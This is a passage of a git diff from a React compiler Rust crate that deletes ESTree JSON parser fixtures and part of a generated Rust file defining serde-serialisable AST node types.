-                        },
-                        "name": "i",
-                        "typeAnnotation": null,
-                        "optional": false,
-                        "range": [
-                          83,
-                          84
-                        ]
-                      },
-                      "range": [
-                        78,
-                        84
-                      ]
-                    },
-                    "directive": null,
-                    "range": [
-                      78,
-                      85
-                    ]
-                  }
-                ],
-                "range": [
-                  72,
-                  89
-                ]
-              },
-              "range": [
-                43,
-                89
-              ]
-            },
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 6,
-                  "column": 2
-                },
-                "end": {
-                  "line": 6,
-                  "column": 11
-                }
-              },
-              "argument": {
-                "type": "Identifier",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 6,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 6,
-                    "column": 10
-                  }
-                },
-                "name": "x",
-                "typeAnnotation": null,
-                "optional": false,
-                "range": [
-                  99,
-                  100
-                ]
-              },
-              "range": [
-                92,
-                101
-              ]
-            }
-          ],
-          "range": [
-            26,
-            103
-          ]
-        },
-        "typeParameters": null,
-        "returnType": null,
-        "predicate": null,
-        "generator": false,
-        "async": false,
-        "range": [
-          0,
-          103
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      0,
-      103
-    ],
-    "sourceType": "script"
-  }
\ No newline at end of file
diff --git a/compiler/crates/react_estree/src/fixtures/import.json b/compiler/crates/react_estree/src/fixtures/import.json
deleted file mode 100644
index 78997e87bd8b..000000000000
--- a/compiler/crates/react_estree/src/fixtures/import.json
+++ /dev/null
@@ -1,104 +0,0 @@
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 1,
-        "column": 26
-      }
-    },
-    "body": [
-      {
-        "type": "ImportDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 1,
-            "column": 26
-          }
-        },
-        "specifiers": [
-          {
-            "type": "ImportDefaultSpecifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 7
-              },
-              "end": {
-                "line": 1,
-                "column": 12
-              }
-            },
-            "local": {
-              "type": "Identifier",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 1,
-                  "column": 7
-                },
-                "end": {
-                  "line": 1,
-                  "column": 12
-                }
-              },
-              "name": "React",
-              "typeAnnotation": null,
-              "optional": false,
-              "range": [
-                7,
-                12
-              ]
-            },
-            "range": [
-              7,
-              12
-            ]
-          }
-        ],
-        "source": {
-          "type": "Literal",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 18
-            },
-            "end": {
-              "line": 1,
-              "column": 25
-            }
-          },
-          "value": "react",
-          "range": [
-            18,
-            25
-          ],
-          "raw": "'react'"
-        },
-        "attributes": [],
-        "importKind": "value",
-        "range": [
-          0,
-          26
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      0,
-      26
-    ],
-    "sourceType": "module"
-  }
\ No newline at end of file
diff --git a/compiler/crates/react_estree/src/fixtures/simple.json b/compiler/crates/react_estree/src/fixtures/simple.json
deleted file mode 100644
index 4a1de32d5de2..000000000000
--- a/compiler/crates/react_estree/src/fixtures/simple.json
+++ /dev/null
@@ -1,189 +0,0 @@
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 3,
-        "column": 1
-      }
-    },
-    "range": [
-      0,
-      51
-    ],
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 3,
-            "column": 1
-          }
-        },
-        "range": [
-          0,
-          51
-        ],
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 9
-            },
-            "end": {
-              "line": 1,
-              "column": 18
-            }
-          },
-          "range": [
-            9,
-            18
-          ],
-          "name": "Component",
-          "typeAnnotation": null,
-          "optional": false
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 19
-              },
-              "end": {
-                "line": 1,
-                "column": 24
-              }
-            },
-            "range": [
-              19,
-              24
-            ],
-            "name": "props",
-            "typeAnnotation": null,
-            "optional": false
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 26
-            },
-            "end": {
-              "line": 3,
-              "column": 1
-            }
-          },
-          "range": [
-            26,
-            51
-          ],
-          "body": [
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 2,
-                  "column": 2
-                },
-                "end": {
-                  "line": 2,
-                  "column": 21
-                }
-              },
-              "range": [
-                30,
-                49
-              ],
-              "argument": {
-                "type": "MemberExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 20
-                  }
-                },
-                "range": [
-                  37,
-                  48
-                ],
-                "object": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 9
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 14
-                    }
-                  },
-                  "range": [
-                    37,
-                    42
-                  ],
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "optional": false
-                },
-                "property": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 15
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 20
-                    }
-                  },
-                  "range": [
-                    43,
-                    48
-                  ],
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "optional": false
-                },
-                "computed": false
-              }
-            }
-          ]
-        },
-        "async": false,
-        "generator": false,
-        "predicate": null,
-        "expression": false,
-        "returnType": null,
-        "typeParameters": null
-      }
-    ],
-    "comments": [],
-    "errors": []
-  }
\ No newline at end of file
diff --git a/compiler/crates/react_estree/src/fixtures/test.json b/compiler/crates/react_estree/src/fixtures/test.json
deleted file mode 100644
index 8804bc20d9d9..000000000000
--- a/compiler/crates/react_estree/src/fixtures/test.json
+++ /dev/null
@@ -1,351 +0,0 @@
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 2,
-        "column": 0
-      },
-      "end": {
-        "line": 4,
-        "column": 1
-      }
-    },
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 2,
-            "column": 0
-          },
-          "end": {
-            "line": 4,
-            "column": 1
-          }
-        },
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 2,
-              "column": 9
-            },
-            "end": {
-              "line": 2,
-              "column": 12
-            }
-          },
-          "name": "foo",
-          "typeAnnotation": null,
-          "optional": false,
-          "range": [
-            10,
-            13
-          ]
-        },
-        "params": [],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 2,
-              "column": 15
-            },
-            "end": {
-              "line": 4,
-              "column": 1
-            }
-          },
-          "body": [
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 2
-                },
-                "end": {
-                  "line": 3,
-                  "column": 36
-                }
-              },
-              "argument": {
-                "type": "JSXElement",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 36
-                  }
-                },
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 9
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 26
-                    }
-                  },
-                  "name": {
-                    "type": "JSXMemberExpression",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 10
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 17
-                      }
-                    },
-                    "object": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 10
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 13
-                        }
-                      },
-                      "name": "Foo",
-                      "range": [
-                        28,
-                        31
-                      ]
-                    },
-                    "property": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 14
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 17
-                        }
-                      },
-                      "name": "Bar",
-                      "range": [
-                        32,
-                        35
-                      ]
-                    },
-                    "range": [
-                      28,
-                      35
-                    ]
-                  },
-                  "attributes": [
-                    {
-                      "type": "JSXAttribute",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 18
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 24
-                        }
-                      },
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 3,
-                            "column": 18
-                          },
-                          "end": {
-                            "line": 3,
-                            "column": 19
-                          }
-                        },
-                        "name": "a",
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "JSXExpressionContainer",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 3,
-                            "column": 20
-                          },
-                          "end": {
-                            "line": 3,
-                            "column": 24
-                          }
-                        },
-                        "expression": {
-                          "type": "Literal",
-                          "loc": {
-                            "source": null,
-                            "start": {
-                              "line": 3,
-                              "column": 21
-                            },
-                            "end": {
-                              "line": 3,
-                              "column": 23
-                            }
-                          },
-                          "value": 10,
-                          "range": [
-                            39,
-                            41
-                          ],
-                          "raw": "10"
-                        },
-                        "range": [
-                          38,
-                          42
-                        ]
-                      },
-                      "range": [
-                        36,
-                        42
-                      ]
-                    }
-                  ],
-                  "selfClosing": false,
-                  "range": [
-                    27,
-                    44
-                  ]
-                },
-                "children": [],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 26
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 36
-                    }
-                  },
-                  "name": {
-                    "type": "JSXMemberExpression",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 28
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 35
-                      }
-                    },
-                    "object": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 28
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 31
-                        }
-                      },
-                      "name": "Foo",
-                      "range": [
-                        46,
-                        49
-                      ]
-                    },
-                    "property": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 32
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 35
-                        }
-                      },
-                      "name": "Bar",
-                      "range": [
-                        50,
-                        53
-                      ]
-                    },
-                    "range": [
-                      46,
-                      53
-                    ]
-                  },
-                  "range": [
-                    44,
-                    54
-                  ]
-                },
-                "range": [
-                  27,
-                  54
-                ]
-              },
-              "range": [
-                20,
-                54
-              ]
-            }
-          ],
-          "range": [
-            16,
-            56
-          ]
-        },
-        "typeParameters": null,
-        "returnType": null,
-        "predicate": null,
-        "generator": false,
-        "async": false,
-        "range": [
-          1,
-          56
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      1,
-      56
-    ],
-    "sourceType": "script"
-  }
\ No newline at end of file
diff --git a/compiler/crates/react_estree/src/generated.rs b/compiler/crates/react_estree/src/generated.rs
deleted file mode 100644
index 1b9bacfea944..000000000000
--- a/compiler/crates/react_estree/src/generated.rs
+++ /dev/null
@@ -1,9031 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-// @generated
-#![cfg_attr(rustfmt, rustfmt_skip)]
-#![allow(dead_code)]
-#![allow(unused_variables)]
-#![allow(non_snake_case)]
-#![allow(clippy::enum_variant_names)]
-use std::num::NonZeroU32;
-use serde::ser::{Serializer, SerializeMap};
-use serde::{Serialize, Deserialize};
-use crate::{JsValue, Binding, SourceRange, Number, ESTreeNode};
-#[derive(Serialize, Deserialize, Clone, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct SourceLocation {
-    pub source: Option<String>,
-    pub start: Position,
-    pub end: Position,
-}
-#[derive(Serialize, Deserialize, Clone, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct Position {
-    pub line: NonZeroU32,
-    pub column: u32,
-}
-#[derive(Serialize, Deserialize, Clone, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct Class {
-    pub id: Option<Identifier>,
-    #[serde(rename = "superClass")]
-    pub super_class: Option<Expression>,
-    pub body: ClassBody,
-}
-#[derive(Serialize, Deserialize, Clone, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct Function {
-    pub id: Option<Identifier>,
-    pub params: Vec<Pattern>,
-    pub body: Option<FunctionBody>,
-    #[serde(rename = "generator")]
-    #[serde(default)]
-    pub is_generator: bool,
-    #[serde(rename = "async")]
-    #[serde(default)]
-    pub is_async: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-#[derive(Serialize, Deserialize, Clone, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct RegExpValue {
-    pub pattern: String,
-    pub flags: String,
-}
-#[derive(Serialize, Deserialize, Clone, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct TemplateElementValue {
-    pub cooked: Option<String>,
-    pub raw: String,
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct Identifier {
-    pub name: String,
-    #[serde(skip)]
-    #[serde(default)]
-    pub binding: Option<Binding>,
-    #[serde(rename = "typeAnnotation")]
-    #[serde(default)]
-    pub type_annotation: Option<TypeAnnotation>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for Identifier {}
-impl Serialize for Identifier {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "Identifier")?;
-        state.serialize_entry("name", &self.name)?;
-        state.serialize_entry("typeAnnotation", &self.type_annotation)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct Literal {
-    pub value: JsValue,
-    #[serde(default)]
-    pub raw: Option<String>,
-    #[serde(default)]
-    pub regex: Option<RegExpValue>,
-    #[serde(default)]
-    pub bigint: Option<String>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for Literal {}
-impl Serialize for Literal {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "Literal")?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("raw", &self.raw)?;
-        state.serialize_entry("regex", &self.regex)?;
-        state.serialize_entry("bigint", &self.bigint)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct NumericLiteral {
-    pub value: Number,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for NumericLiteral {}
-impl Serialize for NumericLiteral {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "NumericLiteral")?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct BooleanLiteral {
-    pub value: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for BooleanLiteral {}
-impl Serialize for BooleanLiteral {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "BooleanLiteral")?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct NullLiteral {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for NullLiteral {}
-impl Serialize for NullLiteral {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "NullLiteral")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct StringLiteral {
-    pub value: String,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for StringLiteral {}
-impl Serialize for StringLiteral {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "StringLiteral")?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct RegExpLiteral {
-    pub pattern: String,
-    pub flags: String,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for RegExpLiteral {}
-impl Serialize for RegExpLiteral {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "RegExpLiteral")?;
-        state.serialize_entry("pattern", &self.pattern)?;
-        state.serialize_entry("flags", &self.flags)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct Program {
-    pub body: Vec<ModuleItem>,
-    #[serde(rename = "sourceType")]
-    #[serde(default)]
-    pub source_type: SourceType,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for Program {}
-impl Serialize for Program {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "Program")?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("sourceType", &self.source_type)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ExpressionStatement {
-    pub expression: Expression,
-    #[serde(default)]
-    pub directive: Option<String>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ExpressionStatement {}
-impl Serialize for ExpressionStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ExpressionStatement")?;
-        state.serialize_entry("expression", &self.expression)?;
-        state.serialize_entry("directive", &self.directive)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct BlockStatement {
-    pub body: Vec<Statement>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for BlockStatement {}
-impl Serialize for BlockStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "BlockStatement")?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct EmptyStatement {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for EmptyStatement {}
-impl Serialize for EmptyStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "EmptyStatement")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct DebuggerStatement {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for DebuggerStatement {}
-impl Serialize for DebuggerStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "DebuggerStatement")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct WithStatement {
-    pub object: Expression,
-    pub body: Statement,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for WithStatement {}
-impl Serialize for WithStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "WithStatement")?;
-        state.serialize_entry("object", &self.object)?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ReturnStatement {
-    pub argument: Option<Expression>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ReturnStatement {}
-impl Serialize for ReturnStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ReturnStatement")?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct LabeledStatement {
-    pub label: Identifier,
-    pub body: Statement,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for LabeledStatement {}
-impl Serialize for LabeledStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "LabeledStatement")?;
-        state.serialize_entry("label", &self.label)?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct BreakStatement {
-    pub label: Option<Identifier>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for BreakStatement {}
-impl Serialize for BreakStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "BreakStatement")?;
-        state.serialize_entry("label", &self.label)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ContinueStatement {
-    pub label: Option<Identifier>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ContinueStatement {}
-impl Serialize for ContinueStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ContinueStatement")?;
-        state.serialize_entry("label", &self.label)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct IfStatement {
-    pub test: Expression,
-    pub consequent: Statement,
-    pub alternate: Option<Statement>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for IfStatement {}
-impl Serialize for IfStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "IfStatement")?;
-        state.serialize_entry("test", &self.test)?;
-        state.serialize_entry("consequent", &self.consequent)?;
-        state.serialize_entry("alternate", &self.alternate)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct SwitchStatement {
-    pub discriminant: Expression,
-    pub cases: Vec<SwitchCase>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for SwitchStatement {}
-impl Serialize for SwitchStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "SwitchStatement")?;
-        state.serialize_entry("discriminant", &self.discriminant)?;
-        state.serialize_entry("cases", &self.cases)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct SwitchCase {
-    pub test: Option<Expression>,
-    pub consequent: Vec<Statement>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for SwitchCase {}
-impl Serialize for SwitchCase {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "SwitchCase")?;
-        state.serialize_entry("test", &self.test)?;
-        state.serialize_entry("consequent", &self.consequent)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ThrowStatement {
-    pub argument: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ThrowStatement {}
-impl Serialize for ThrowStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ThrowStatement")?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct TryStatement {
-    pub block: BlockStatement,
-    pub handler: Option<CatchClause>,
-    pub finalizer: Option<BlockStatement>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for TryStatement {}
-impl Serialize for TryStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "TryStatement")?;
-        state.serialize_entry("block", &self.block)?;
-        state.serialize_entry("handler", &self.handler)?;
-        state.serialize_entry("finalizer", &self.finalizer)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct CatchClause {
-    pub param: Option<Pattern>,
-    pub body: BlockStatement,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for CatchClause {}
-impl Serialize for CatchClause {
